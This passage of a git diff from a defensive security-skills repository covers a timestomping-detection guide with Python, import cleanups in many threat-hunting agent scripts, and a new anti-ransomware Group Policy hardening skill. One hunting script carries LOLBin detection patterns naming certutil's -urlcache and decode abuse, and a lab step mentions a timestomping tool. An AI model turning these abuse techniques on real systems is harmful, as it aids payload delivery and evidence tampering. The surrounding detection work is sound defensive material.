365: + indicators.append({ + "check": "SI_FN_gap_exceeds_1_year", + "si_value": str(si_created), + "fn_value": str(fn_created), + "delta_days": abs((si_created - fn_created).days), + "confidence": "high" + }) + + # Detection 5: SI Entry Modified much later than SI Created + # Indicates the SI attribute was rewritten + if pd.notna(si_entry) and pd.notna(si_created): + entry_delta = si_entry - si_created + if entry_delta.days > 365 * 5: # Entry modified years after creation + indicators.append({ + "check": "SI_entry_modified_years_after_creation", + "si_created": str(si_created), + "si_entry_modified": str(si_entry), + "confidence": "medium" + }) + + if indicators: + results.append({ + "file_path": full_path, + "entry_number": row.get("EntryNumber", ""), + "in_use": row.get("InUse", True), + "si_created": str(si_created), + "fn_created": str(fn_created), + "indicators": indicators, + "highest_confidence": max(i["confidence"] for i in indicators), + }) + + return results + +# Run detection +df = load_mft_data("D:\\Evidence\\Parsed\\mft_parsed.csv") +stomped_files = detect_timestomping(df) + +print(f"\nTimestomping Detection Results") +print(f"{'='*60}") +print(f"Total MFT entries analyzed: {len(df)}") +print(f"Suspicious entries found: {len(stomped_files)}") +print() + +for entry in sorted(stomped_files, key=lambda x: x["highest_confidence"], reverse=True): + print(f"[{entry['highest_confidence'].upper()}] {entry['file_path']}") + print(f" SI Created: {entry['si_created']}") + print(f" FN Created: {entry['fn_created']}") + for ind in entry["indicators"]: + print(f" Check: {ind['check']} (confidence: {ind['confidence']})") + print() +``` + +### Step 4: Corroborate with USN Journal Analysis + +The USN Journal records metadata change events that persist even after timestomping: + +```python +def correlate_with_usn_journal(stomped_files, usn_csv_path): + """Cross-reference timestomped files with USN Journal entries. + + The USN Journal records a BASIC_INFO_CHANGE reason when timestamps + are modified, providing corroborating evidence of timestomping. + """ + usn_df = pd.read_csv(usn_csv_path, low_memory=False) + usn_df["UpdateTimestamp"] = pd.to_datetime(usn_df["UpdateTimestamp"], errors="coerce") + + corroborated = [] + for entry in stomped_files: + filename = entry["file_path"].split("\\")[-1] + + # Find USN entries for this file with BASIC_INFO_CHANGE + usn_matches = usn_df[ + (usn_df["Name"] == filename) & + (usn_df["UpdateReasons"].str.contains("BASIC_INFO_CHANGE", na=False)) + ] + + if not usn_matches.empty: + entry["usn_corroboration"] = True + entry["usn_change_times"] = usn_matches["UpdateTimestamp"].tolist() + entry["highest_confidence"] = "critical" + corroborated.append(entry) + print(f"[CORROBORATED] {filename} - USN Journal confirms " + f"BASIC_INFO_CHANGE at {usn_matches['UpdateTimestamp'].iloc[0]}") + + return corroborated + +# Parse USN Journal (use MFTECmd or ANJP) +# MFTECmd.exe -f "$J" --csv D:\Evidence\Parsed\ --csvf usn_parsed.csv +``` + +### Step 5: Check ShimCache and Amcache for Timeline Validation + +```python +def check_shimcache_timeline(stomped_files, shimcache_csv): + """Validate timestamps against ShimCache (AppCompatCache) entries. + + ShimCache records the last modification time of executables + independently of NTFS timestamps, providing another corroboration point. + """ + shim_df = pd.read_csv(shimcache_csv, low_memory=False) + shim_df["LastModifiedTimeUTC"] = pd.to_datetime( + shim_df["LastModifiedTimeUTC"], errors="coerce" + ) + + for entry in stomped_files: + filepath = entry["file_path"] + shim_match = shim_df[ + shim_df["Path"].str.lower() == filepath.lower() + ] + + if not shim_match.empty: + shim_time = shim_match["LastModifiedTimeUTC"].iloc[0] + si_modified = pd.to_datetime(entry.get("si_created")) + + if pd.notna(shim_time) and pd.notna(si_modified): + delta = abs((shim_time - si_modified).days) + if delta > 30: + entry["shimcache_mismatch"] = True + entry["shimcache_time"] = str(shim_time) + print(f"[SHIMCACHE MISMATCH] {filepath}") + print(f" SI timestamp: {si_modified}") + print(f" ShimCache timestamp: {shim_time}") + print(f" Delta: {delta} days") + + return stomped_files +``` + +### Step 6: Generate a Timestomping Detection Report + +```python +import json + +def generate_report(stomped_files, output_path): + """Generate a structured JSON report of all timestomping detections.""" + report = { + "report_title": "Timestomping Detection Analysis", + "generated_at": datetime.utcnow().isoformat() + "Z", + "mitre_technique": "T1070.006 - Indicator Removal: Timestomp", + "total_suspicious_files": len(stomped_files), + "critical_findings": len([f for f in stomped_files if f["highest_confidence"] == "critical"]), + "high_findings": len([f for f in stomped_files if f["highest_confidence"] == "high"]), + "medium_findings": len([f for f in stomped_files if f["highest_confidence"] == "medium"]), + "findings": stomped_files, + } + + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"Report written to {output_path}") + print(f" Critical: {report['critical_findings']}") + print(f" High: {report['high_findings']}") + print(f" Medium: {report['medium_findings']}") + +generate_report(stomped_files, "D:\\Evidence\\timestomping_report.json") +``` + +## Verification + +- Confirm MFTECmd parses the $MFT without errors and produces both 0x10 (SI) and 0x30 (FN) timestamp columns +- Create a test file and use a timestomping tool (e.g., NTimeStomp) in a lab to verify the detection logic catches the manipulation +- Validate that the nanosecond-zeroed check does not produce excessive false positives on files created by installers that legitimately set timestamps +- Cross-reference flagged files with the USN Journal to confirm BASIC_INFO_CHANGE events exist at the expected times +- Verify ShimCache and Amcache timestamps provide independent corroboration of timeline inconsistencies +- Test against known-clean system images to establish a false-positive baseline (some backup/imaging software legitimately resets timestamps) +- Confirm the detection pipeline correctly handles deleted MFT entries (InUse=false) which may contain evidence of timestomped files that were later removed diff --git a/skills/hunting-for-dns-based-persistence/scripts/agent.py b/skills/hunting-for-dns-based-persistence/scripts/agent.py index 8ba1f466..f956d7ec 100644 --- a/skills/hunting-for-dns-based-persistence/scripts/agent.py +++ b/skills/hunting-for-dns-based-persistence/scripts/agent.py @@ -6,8 +6,6 @@ import argparse import logging import requests import subprocess -import socket -from collections import defaultdict from datetime import datetime logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") diff --git a/skills/hunting-for-dns-tunneling-with-zeek/scripts/agent.py b/skills/hunting-for-dns-tunneling-with-zeek/scripts/agent.py index 16ee0457..32f6fea8 100644 --- a/skills/hunting-for-dns-tunneling-with-zeek/scripts/agent.py +++ b/skills/hunting-for-dns-tunneling-with-zeek/scripts/agent.py @@ -2,7 +2,6 @@ """Agent for detecting DNS tunneling using Zeek log analysis.""" import argparse -import csv import json import math import sys diff --git a/skills/hunting-for-living-off-the-cloud-techniques/scripts/agent.py b/skills/hunting-for-living-off-the-cloud-techniques/scripts/agent.py index aea2fa5e..28735c05 100644 --- a/skills/hunting-for-living-off-the-cloud-techniques/scripts/agent.py +++ b/skills/hunting-for-living-off-the-cloud-techniques/scripts/agent.py @@ -4,7 +4,7 @@ import json import argparse import re -from datetime import datetime, timedelta +from datetime import datetime try: from elasticsearch import Elasticsearch diff --git a/skills/hunting-for-living-off-the-land-binaries/scripts/agent.py b/skills/hunting-for-living-off-the-land-binaries/scripts/agent.py index bb1a5e1e..7fc8e9db 100644 --- a/skills/hunting-for-living-off-the-land-binaries/scripts/agent.py +++ b/skills/hunting-for-living-off-the-land-binaries/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import re from datetime import datetime -from pathlib import Path try: from elasticsearch import Elasticsearch @@ -124,7 +123,6 @@ def scan_sysmon_log(evtx_file): """Parse Sysmon EVTX for LOLBin process creation (Event ID 1).""" try: import Evtx.Evtx as evtx_lib - import Evtx.Views as evtx_views except ImportError: return {"error": "python-evtx not installed"} findings = [] diff --git a/skills/hunting-for-lolbins-execution-in-endpoint-logs/scripts/agent.py b/skills/hunting-for-lolbins-execution-in-endpoint-logs/scripts/agent.py index 694e51e6..51a075a2 100644 --- a/skills/hunting-for-lolbins-execution-in-endpoint-logs/scripts/agent.py +++ b/skills/hunting-for-lolbins-execution-in-endpoint-logs/scripts/agent.py @@ -5,8 +5,6 @@ import json import argparse import re import csv -from datetime import datetime -from pathlib import Path LOLBIN_SIGNATURES = { "certutil.exe": {"mitre": "T1140", "patterns": [r"-urlcache", r"-decode", r"-encode", r"-split.*http"]}, diff --git a/skills/hunting-for-persistence-mechanisms-in-windows/scripts/agent.py b/skills/hunting-for-persistence-mechanisms-in-windows/scripts/agent.py index b72d8a9d..bb11902c 100644 --- a/skills/hunting-for-persistence-mechanisms-in-windows/scripts/agent.py +++ b/skills/hunting-for-persistence-mechanisms-in-windows/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import subprocess import re from datetime import datetime -from pathlib import Path REGISTRY_PERSISTENCE_KEYS = [ r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", diff --git a/skills/hunting-for-registry-run-key-persistence/scripts/agent.py b/skills/hunting-for-registry-run-key-persistence/scripts/agent.py index 6df1b844..9dbc29cd 100644 --- a/skills/hunting-for-registry-run-key-persistence/scripts/agent.py +++ b/skills/hunting-for-registry-run-key-persistence/scripts/agent.py @@ -4,8 +4,7 @@ import argparse import json import re -import sys -from collections import Counter, defaultdict +from collections import Counter from datetime import datetime from pathlib import Path diff --git a/skills/hunting-for-spearphishing-indicators/scripts/agent.py b/skills/hunting-for-spearphishing-indicators/scripts/agent.py index 69ee0522..633a5042 100644 --- a/skills/hunting-for-spearphishing-indicators/scripts/agent.py +++ b/skills/hunting-for-spearphishing-indicators/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import re from datetime import datetime -from pathlib import Path SUSPICIOUS_EXTENSIONS = [ diff --git a/skills/hunting-for-startup-folder-persistence/scripts/agent.py b/skills/hunting-for-startup-folder-persistence/scripts/agent.py index 25c9deec..2b08e4bc 100644 --- a/skills/hunting-for-startup-folder-persistence/scripts/agent.py +++ b/skills/hunting-for-startup-folder-persistence/scripts/agent.py @@ -6,7 +6,7 @@ import os import hashlib import argparse import time -from datetime import datetime, timedelta +from datetime import datetime from pathlib import Path try: diff --git a/skills/hunting-for-suspicious-scheduled-tasks/scripts/agent.py b/skills/hunting-for-suspicious-scheduled-tasks/scripts/agent.py index 8a8aa011..57cd0768 100644 --- a/skills/hunting-for-suspicious-scheduled-tasks/scripts/agent.py +++ b/skills/hunting-for-suspicious-scheduled-tasks/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import re import xml.etree.ElementTree as ET from datetime import datetime -from pathlib import Path try: import Evtx.Evtx as evtx diff --git a/skills/hunting-for-t1098-account-manipulation/scripts/agent.py b/skills/hunting-for-t1098-account-manipulation/scripts/agent.py index b724ea43..bae91a18 100644 --- a/skills/hunting-for-t1098-account-manipulation/scripts/agent.py +++ b/skills/hunting-for-t1098-account-manipulation/scripts/agent.py @@ -11,7 +11,7 @@ import argparse import json import os import xml.etree.ElementTree as ET -from collections import Counter, defaultdict +from collections import Counter from datetime import datetime from pathlib import Path diff --git a/skills/hunting-for-unusual-network-connections/scripts/agent.py b/skills/hunting-for-unusual-network-connections/scripts/agent.py index 43b02288..e058d0d0 100644 --- a/skills/hunting-for-unusual-network-connections/scripts/agent.py +++ b/skills/hunting-for-unusual-network-connections/scripts/agent.py @@ -3,10 +3,8 @@ import json import argparse -import re from datetime import datetime from collections import defaultdict, Counter -from pathlib import Path COMMON_PORTS = {80, 443, 53, 22, 25, 110, 143, 993, 995, 587, 8080, 8443, 3389} diff --git a/skills/hunting-for-unusual-service-installations/scripts/agent.py b/skills/hunting-for-unusual-service-installations/scripts/agent.py index 2b4a3091..99469fd4 100644 --- a/skills/hunting-for-unusual-service-installations/scripts/agent.py +++ b/skills/hunting-for-unusual-service-installations/scripts/agent.py @@ -14,7 +14,6 @@ except ImportError: try: import Evtx.Evtx as evtx - import Evtx.Views as evtx_views except ImportError: evtx = None diff --git a/skills/hunting-for-webshell-activity/scripts/agent.py b/skills/hunting-for-webshell-activity/scripts/agent.py index d5230ae2..f5fa32ee 100644 --- a/skills/hunting-for-webshell-activity/scripts/agent.py +++ b/skills/hunting-for-webshell-activity/scripts/agent.py @@ -5,8 +5,6 @@ import json import argparse import re from datetime import datetime -from collections import defaultdict -from pathlib import Path WEB_SERVER_PROCESSES = [ diff --git a/skills/implementing-threat-intelligence-platform/LICENSE b/skills/hunting-for-webshells-in-web-servers.bak/LICENSE similarity index 100% rename from skills/implementing-threat-intelligence-platform/LICENSE rename to skills/hunting-for-webshells-in-web-servers.bak/LICENSE diff --git a/skills/hunting-for-webshells-in-web-servers/SKILL.md b/skills/hunting-for-webshells-in-web-servers.bak/SKILL.md similarity index 100% rename from skills/hunting-for-webshells-in-web-servers/SKILL.md rename to skills/hunting-for-webshells-in-web-servers.bak/SKILL.md diff --git a/skills/hunting-for-webshells-in-web-servers/references/api-reference.md b/skills/hunting-for-webshells-in-web-servers.bak/references/api-reference.md similarity index 100% rename from skills/hunting-for-webshells-in-web-servers/references/api-reference.md rename to skills/hunting-for-webshells-in-web-servers.bak/references/api-reference.md diff --git a/skills/hunting-for-webshells-in-web-servers/scripts/agent.py b/skills/hunting-for-webshells-in-web-servers.bak/scripts/agent.py similarity index 100% rename from skills/hunting-for-webshells-in-web-servers/scripts/agent.py rename to skills/hunting-for-webshells-in-web-servers.bak/scripts/agent.py diff --git a/skills/performing-cloud-penetration-testing/LICENSE b/skills/hunting-living-off-the-land-binaries.bak/LICENSE similarity index 100% rename from skills/performing-cloud-penetration-testing/LICENSE rename to skills/hunting-living-off-the-land-binaries.bak/LICENSE diff --git a/skills/hunting-living-off-the-land-binaries/SKILL.md b/skills/hunting-living-off-the-land-binaries.bak/SKILL.md similarity index 100% rename from skills/hunting-living-off-the-land-binaries/SKILL.md rename to skills/hunting-living-off-the-land-binaries.bak/SKILL.md diff --git a/skills/hunting-living-off-the-land-binaries/references/api-reference.md b/skills/hunting-living-off-the-land-binaries.bak/references/api-reference.md similarity index 100% rename from skills/hunting-living-off-the-land-binaries/references/api-reference.md rename to skills/hunting-living-off-the-land-binaries.bak/references/api-reference.md diff --git a/skills/hunting-living-off-the-land-binaries/scripts/agent.py b/skills/hunting-living-off-the-land-binaries.bak/scripts/agent.py similarity index 100% rename from skills/hunting-living-off-the-land-binaries/scripts/agent.py rename to skills/hunting-living-off-the-land-binaries.bak/scripts/agent.py diff --git a/skills/implementing-aes-encryption-for-data-at-rest/SKILL.md b/skills/implementing-aes-encryption-for-data-at-rest/SKILL.md index af8740df..aff2e8b6 100644 --- a/skills/implementing-aes-encryption-for-data-at-rest/SKILL.md +++ b/skills/implementing-aes-encryption-for-data-at-rest/SKILL.md @@ -47,7 +47,7 @@ Never use raw passwords as encryption keys. Always derive keys using: - Generate nonces using `os.urandom()` (CSPRNG) - Store nonce alongside ciphertext (it is not secret) -## Implementation Steps +## Workflow 1. Install the `cryptography` library: `pip install cryptography` 2. Generate or derive an encryption key diff --git a/skills/implementing-alert-fatigue-reduction/scripts/agent.py b/skills/implementing-alert-fatigue-reduction/scripts/agent.py index 7dd56522..7e250908 100644 --- a/skills/implementing-alert-fatigue-reduction/scripts/agent.py +++ b/skills/implementing-alert-fatigue-reduction/scripts/agent.py @@ -4,8 +4,7 @@ import json import sys import argparse -from datetime import datetime, timedelta -from collections import defaultdict +from datetime import datetime try: import splunklib.client as splunk_client diff --git a/skills/implementing-anti-phishing-training-program/SKILL.md b/skills/implementing-anti-phishing-training-program/SKILL.md index 192c06e1..e54077e4 100644 --- a/skills/implementing-anti-phishing-training-program/SKILL.md +++ b/skills/implementing-anti-phishing-training-program/SKILL.md @@ -37,7 +37,7 @@ Security awareness training is the human layer of phishing defense. An effective - **Level 4**: Long-term Sustainment - Continuous program with culture change - **Level 5**: Metrics Framework - Risk-based measurement and optimization -## Implementation Steps +## Workflow ### Step 1: Establish Baseline - Run initial phishing simulation across all departments diff --git a/skills/implementing-anti-phishing-training-program/scripts/agent.py b/skills/implementing-anti-phishing-training-program/scripts/agent.py index a116bb21..ab2d01b3 100644 --- a/skills/implementing-anti-phishing-training-program/scripts/agent.py +++ b/skills/implementing-anti-phishing-training-program/scripts/agent.py @@ -4,7 +4,6 @@ import json import argparse from datetime import datetime -from pathlib import Path import pandas as pd import numpy as np diff --git a/skills/performing-ransomware-incident-response/LICENSE b/skills/implementing-anti-ransomware-group-policy/LICENSE similarity index 100% rename from skills/performing-ransomware-incident-response/LICENSE rename to skills/implementing-anti-ransomware-group-policy/LICENSE diff --git a/skills/implementing-anti-ransomware-group-policy/SKILL.md b/skills/implementing-anti-ransomware-group-policy/SKILL.md new file mode 100644 index 00000000..64c3bde9 --- /dev/null +++ b/skills/implementing-anti-ransomware-group-policy/SKILL.md @@ -0,0 +1,205 @@ +--- +name: implementing-anti-ransomware-group-policy +description: > + Configures Windows Group Policy Objects (GPO) to prevent ransomware execution + and limit its spread. Implements AppLocker rules, Software Restriction Policies, + Controlled Folder Access, attack surface reduction rules, and network protection + settings. Activates for requests involving Windows GPO hardening against ransomware, + AppLocker configuration, Controlled Folder Access setup, or endpoint protection + via Group Policy. +domain: cybersecurity +subdomain: ransomware-defense +tags: [ransomware, group-policy, windows, AppLocker, hardening, prevention] +version: 1.0.0 +author: mahipal +license: Apache-2.0 +--- + +# Implementing Anti-Ransomware Group Policy + +## When to Use + +- Hardening a Windows Active Directory environment against ransomware execution and propagation +- Implementing defense-in-depth by blocking ransomware execution paths via Group Policy +- Configuring AppLocker or WDAC rules to prevent unauthorized executables from running in user-writable directories +- Enabling Controlled Folder Access to protect critical directories from unauthorized file modifications +- Restricting lateral movement vectors (RDP, SMB, WMI) that ransomware uses to spread across the domain + +**Do not use** as a standalone ransomware defense. GPO settings complement but do not replace endpoint detection, backups, network segmentation, and user awareness training. + +## Prerequisites + +- Windows Server 2016+ Active Directory environment with Group Policy Management Console (GPMC) +- Domain Admin or Group Policy Creator Owners privileges +- Windows 10/11 Enterprise or Education (required for AppLocker and WDAC) +- Microsoft Defender Antivirus enabled (required for Controlled Folder Access and ASR rules) +- Python 3.8+ for audit script that validates GPO compliance +- Test OU for validating GPO settings before domain-wide deployment + +## Workflow + +### Step 1: Block Ransomware Execution Paths with AppLocker + +Configure AppLocker to prevent executables from running in common ransomware staging locations: + +``` +AppLocker GPO Path: + Computer Configuration → Policies → Windows Settings → + Security Settings → Application Control Policies → AppLocker + +Key Rules: +━━━━━━━━━ +1. DENY executable rules for user-writable paths: + - %USERPROFILE%\AppData\Local\Temp\* (email attachment extraction) + - %USERPROFILE%\AppData\Roaming\* (CryptoLocker staging) + - %USERPROFILE%\Downloads\* (web downloads) + - %TEMP%\* (temporary extraction) + - %USERPROFILE%\Desktop\* (social engineering drops) + +2. ALLOW default rules: + - C:\Windows\* (signed by Microsoft) + - C:\Program Files\* and C:\Program Files (x86)\* + - Administrator group: all paths + +3. Enable Application Identity service: + Computer Configuration → Policies → Windows Settings → + Security Settings → System Services → + Application Identity → Automatic +``` + +### Step 2: Enable Controlled Folder Access + +Protect critical directories from unauthorized modification: + +``` +Controlled Folder Access GPO Path: + Computer Configuration → Administrative Templates → + Windows Components → Microsoft Defender Antivirus → + Microsoft Defender Exploit Guard → Controlled Folder Access + +Settings: +━━━━━━━━━ +1. Configure Controlled folder access: Enabled → Block mode +2. Configure protected folders: Add custom paths + - \\fileserver\shares\finance + - \\fileserver\shares\hr + - C:\Users\*\Documents + - C:\Users\*\Desktop + +3. Configure allowed applications: Whitelist trusted apps + - C:\Program Files\Microsoft Office\* + - C:\Program Files\Adobe\* + - Line-of-business applications + +Default protected folders (automatic): + Documents, Pictures, Videos, Music, Desktop, Favorites +``` + +### Step 3: Configure Attack Surface Reduction (ASR) Rules + +Enable ASR rules that target ransomware delivery mechanisms: + +``` +ASR Rules GPO Path: + Computer Configuration → Administrative Templates → + Windows Components → Microsoft Defender Antivirus → + Microsoft Defender Exploit Guard → Attack Surface Reduction + +Critical ASR Rules for Ransomware Prevention: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +GUID Rule +BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 Block executable content from email +D4F940AB-401B-4EFC-AADC-AD5F3C50688A Block Office apps from creating child processes +3B576869-A4EC-4529-8536-B80A7769E899 Block Office apps from creating executable content +75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 Block Office apps from injecting into processes +D3E037E1-3EB8-44C8-A917-57927947596D Block JavaScript/VBScript from launching downloads +5BEB7EFE-FD9A-4556-801D-275E5FFC04CC Block execution of obfuscated scripts +92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B Block Win32 API calls from Office macros +01443614-CD74-433A-B99E-2ECDC07BFC25 Block executable files unless they meet prevalence criteria + +Set each rule to: Block (1) or Audit (2) for initial testing +``` + +### Step 4: Restrict Lateral Movement Vectors + +Lock down SMB, RDP, and WMI to limit ransomware propagation: + +``` +Network Restrictions: +━━━━━━━━━━━━━━━━━━━━ +1. Disable SMBv1: + Computer Configuration → Administrative Templates → + Network → Lanman Workstation → Enable insecure guest logons: Disabled + + Computer Configuration → Administrative Templates → + MS Security Guide → Configure SMBv1 server: Disabled + +2. Restrict Remote Desktop: + Computer Configuration → Administrative Templates → + Windows Components → Remote Desktop Services → + Remote Desktop Session Host → Connections → + Allow users to connect remotely: Disabled (or restricted to specific groups) + +3. Disable remote WMI: + Windows Firewall → Inbound Rules → + Block Windows Management Instrumentation (WMI) inbound + +4. Disable AutoPlay/AutoRun: + Computer Configuration → Administrative Templates → + Windows Components → AutoPlay Policies → + Turn off AutoPlay: Enabled (All drives) + +5. Disable PowerShell remoting for non-admin users: + Computer Configuration → Administrative Templates → + Windows Components → Windows PowerShell → + Turn on Script Execution: Allow only signed scripts +``` + +### Step 5: Audit and Validate GPO Compliance + +Verify that GPO settings are applied correctly across the domain: + +```powershell +# Check GPO application on endpoint +gpresult /r /scope:computer + +# Verify AppLocker rules +Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections + +# Check Controlled Folder Access status +Get-MpPreference | Select-Object EnableControlledFolderAccess + +# List protected folders +Get-MpPreference | Select-Object -ExpandProperty ControlledFolderAccessProtectedFolders + +# Check ASR rules +Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids +Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions +``` + +## Verification + +- Run `gpresult /r` on test endpoints to confirm GPO application +- Attempt to run an executable from `%AppData%\Temp` to verify AppLocker blocks it +- Modify a file in a protected folder from an unlisted application to confirm CFA blocks it +- Test ASR rules by opening a macro-enabled document and verifying child process blocking +- Validate that legitimate applications in the allowlist still function correctly +- Check Windows Event Log for AppLocker events (Event IDs 8003, 8004) and CFA events (1123, 1124) + +## Key Concepts + +| Term | Definition | +|------|------------| +| **AppLocker** | Windows application control feature that restricts which executables, scripts, and DLLs users can run based on publisher, path, or hash rules | +| **Controlled Folder Access** | Microsoft Defender feature that prevents untrusted applications from modifying files in protected directories | +| **Attack Surface Reduction (ASR)** | Set of rules in Microsoft Defender Exploit Guard that block specific attack behaviors like Office macro child processes | +| **Software Restriction Policies (SRP)** | Legacy Windows feature (deprecated in Win 11) for restricting executables; replaced by AppLocker and WDAC | +| **WDAC** | Windows Defender Application Control; the successor to AppLocker with stronger enforcement using code integrity policies | + +## Tools & Systems + +- **Group Policy Management Console (GPMC)**: Primary tool for creating and managing GPOs in Active Directory +- **AppLocker**: Built-in Windows application whitelisting and blacklisting engine +- **Microsoft Defender Exploit Guard**: Suite including CFA, ASR rules, and Network Protection +- **GPResult**: Command-line tool for verifying GPO application status on endpoints +- **PowerShell Get-MpPreference**: Cmdlet for querying Microsoft Defender configuration including ASR and CFA status diff --git a/skills/implementing-anti-ransomware-group-policy/references/api-reference.md b/skills/implementing-anti-ransomware-group-policy/references/api-reference.md new file mode 100644 index 00000000..b3746f3d --- /dev/null +++ b/skills/implementing-anti-ransomware-group-policy/references/api-reference.md @@ -0,0 +1,138 @@ +# API Reference: Anti-Ransomware Group Policy + +## AppLocker PowerShell Cmdlets + +### Get Effective Policy +```powershell +Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections +``` + +### Create AppLocker Rule +```powershell +# Deny executables from AppData paths +New-AppLockerPolicy -RuleType Path -RuleNamePrefix "DenyAppData" ` + -Path "%USERPROFILE%\AppData\*" -Action Deny -User Everyone +``` + +### Test AppLocker Policy +```powershell +Test-AppLockerPolicy -Path "C:\Users\test\AppData\Local\Temp\malware.exe" ` + -XmlPolicy (Get-AppLockerPolicy -Effective -Xml) +``` + +### AppLocker Event Log IDs +| Event ID | Log | Description | +|----------|-----|-------------| +| 8003 | AppLocker/EXE | Allowed executable | +| 8004 | AppLocker/EXE | Blocked executable | +| 8005 | AppLocker/Script | Allowed script | +| 8006 | AppLocker/Script | Blocked script | +| 8007 | AppLocker/MSI | Allowed installer | +| 8008 | AppLocker/MSI | Blocked installer | + +## Controlled Folder Access (CFA) + +### Enable CFA +```powershell +Set-MpPreference -EnableControlledFolderAccess Enabled +``` + +### CFA Modes +| Value | Mode | Description | +|-------|------|-------------| +| 0 | Disabled | No protection | +| 1 | Enabled | Block unauthorized modifications | +| 2 | Audit | Log but do not block | +| 6 | BlockDiskModificationOnly | Block disk-level changes only | + +### Add Protected Folders +```powershell +Add-MpPreference -ControlledFolderAccessProtectedFolders "C:\Finance" +``` + +### Add Allowed Applications +```powershell +Add-MpPreference -ControlledFolderAccessAllowedApplications "C:\Program Files\App\app.exe" +``` + +### CFA Event IDs +| Event ID | Log | Description | +|----------|-----|-------------| +| 1123 | Defender/Operational | Blocked file modification | +| 1124 | Defender/Operational | Audited file modification | + +## Attack Surface Reduction (ASR) Rules + +### Enable ASR Rule +```powershell +Add-MpPreference -AttackSurfaceReductionRules_Ids ` + -AttackSurfaceReductionRules_Actions Enabled +``` + +### ASR Rule Actions +| Value | Action | +|-------|--------| +| 0 | Disabled | +| 1 | Block | +| 2 | Audit | +| 6 | Warn | + +### Key Anti-Ransomware ASR Rule GUIDs +| GUID | Rule | +|------|------| +| BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 | Block executable content from email | +| D4F940AB-401B-4EFC-AADC-AD5F3C50688A | Block Office child processes | +| 3B576869-A4EC-4529-8536-B80A7769E899 | Block Office executable content creation | +| 75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 | Block Office code injection | +| D3E037E1-3EB8-44C8-A917-57927947596D | Block JS/VBS downloaded executables | +| 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC | Block obfuscated scripts | +| 92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B | Block Win32 API from Office macros | + +### ASR Event IDs +| Event ID | Log | Description | +|----------|-----|-------------| +| 1121 | Defender/Operational | ASR rule fired in block mode | +| 1122 | Defender/Operational | ASR rule fired in audit mode | + +## GPO Paths Reference + +### AppLocker +``` +Computer Configuration → Policies → Windows Settings → +Security Settings → Application Control Policies → AppLocker +``` + +### Controlled Folder Access +``` +Computer Configuration → Administrative Templates → +Windows Components → Microsoft Defender Antivirus → +Microsoft Defender Exploit Guard → Controlled Folder Access +``` + +### Attack Surface Reduction +``` +Computer Configuration → Administrative Templates → +Windows Components → Microsoft Defender Antivirus → +Microsoft Defender Exploit Guard → Attack Surface Reduction +``` + +### Network Restrictions +``` +Computer Configuration → Administrative Templates → +Network → Lanman Workstation (SMB settings) +Windows Components → Remote Desktop Services (RDP settings) +Windows Components → AutoPlay Policies (AutoPlay/AutoRun) +``` + +## GPResult Verification + +```powershell +# Check applied GPOs +gpresult /r /scope:computer + +# Generate HTML report +gpresult /h gpo_report.html + +# Check specific policy RSoP +gpresult /z /scope:computer +``` diff --git a/skills/implementing-anti-ransomware-group-policy/scripts/agent.py b/skills/implementing-anti-ransomware-group-policy/scripts/agent.py new file mode 100644 index 00000000..2922f906 --- /dev/null +++ b/skills/implementing-anti-ransomware-group-policy/scripts/agent.py @@ -0,0 +1,324 @@ +#!/usr/bin/env python3 +"""Anti-ransomware Group Policy audit and configuration agent. + +Audits Windows endpoints for GPO-based ransomware defenses including AppLocker +rules, Controlled Folder Access, Attack Surface Reduction rules, and network +restriction settings. Generates compliance reports against recommended baselines. +""" + +import json +import os +import subprocess +import sys +from datetime import datetime + +APPLOCKER_DENY_PATHS = [ + "%USERPROFILE%\\AppData\\Local\\Temp\\*", + "%USERPROFILE%\\AppData\\Roaming\\*", + "%USERPROFILE%\\Downloads\\*", + "%TEMP%\\*", + "%USERPROFILE%\\Desktop\\*", +] + +ASR_RULES = { + "BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550": { + "name": "Block executable content from email client and webmail", + "recommended": "Block", + "category": "Email protection", + }, + "D4F940AB-401B-4EFC-AADC-AD5F3C50688A": { + "name": "Block all Office applications from creating child processes", + "recommended": "Block", + "category": "Office protection", + }, + "3B576869-A4EC-4529-8536-B80A7769E899": { + "name": "Block Office applications from creating executable content", + "recommended": "Block", + "category": "Office protection", + }, + "75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84": { + "name": "Block Office applications from injecting code into other processes", + "recommended": "Block", + "category": "Office protection", + }, + "D3E037E1-3EB8-44C8-A917-57927947596D": { + "name": "Block JavaScript or VBScript from launching downloaded executable content", + "recommended": "Block", + "category": "Script protection", + }, + "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC": { + "name": "Block execution of potentially obfuscated scripts", + "recommended": "Block", + "category": "Script protection", + }, + "92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B": { + "name": "Block Win32 API calls from Office macros", + "recommended": "Block", + "category": "Macro protection", + }, + "01443614-CD74-433A-B99E-2ECDC07BFC25": { + "name": "Block executable files from running unless they meet a prevalence, age, or trusted list criterion", + "recommended": "Block", + "category": "Execution protection", + }, +} + +CFA_RECOMMENDED_FOLDERS = [ + "Documents", "Desktop", "Pictures", "Videos", "Music", "Favorites", +] + +GPO_CHECKS = { + "applocker_enabled": { + "description": "AppLocker Application Control is enabled", + "check_command": ["powershell", "-Command", + "Get-AppLockerPolicy -Effective -ErrorAction SilentlyContinue | " + "ConvertTo-Json -Depth 3"], + "priority": "Critical", + }, + "cfa_enabled": { + "description": "Controlled Folder Access is enabled", + "check_command": ["powershell", "-Command", + "(Get-MpPreference).EnableControlledFolderAccess"], 